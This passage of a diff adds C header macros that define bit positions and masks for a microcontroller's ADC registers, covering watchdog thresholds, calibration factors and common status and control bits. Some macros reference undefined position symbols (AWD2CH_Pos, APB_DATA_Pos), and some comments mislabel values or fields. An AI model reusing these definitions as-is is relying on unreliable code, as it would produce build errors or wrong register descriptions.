+#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos 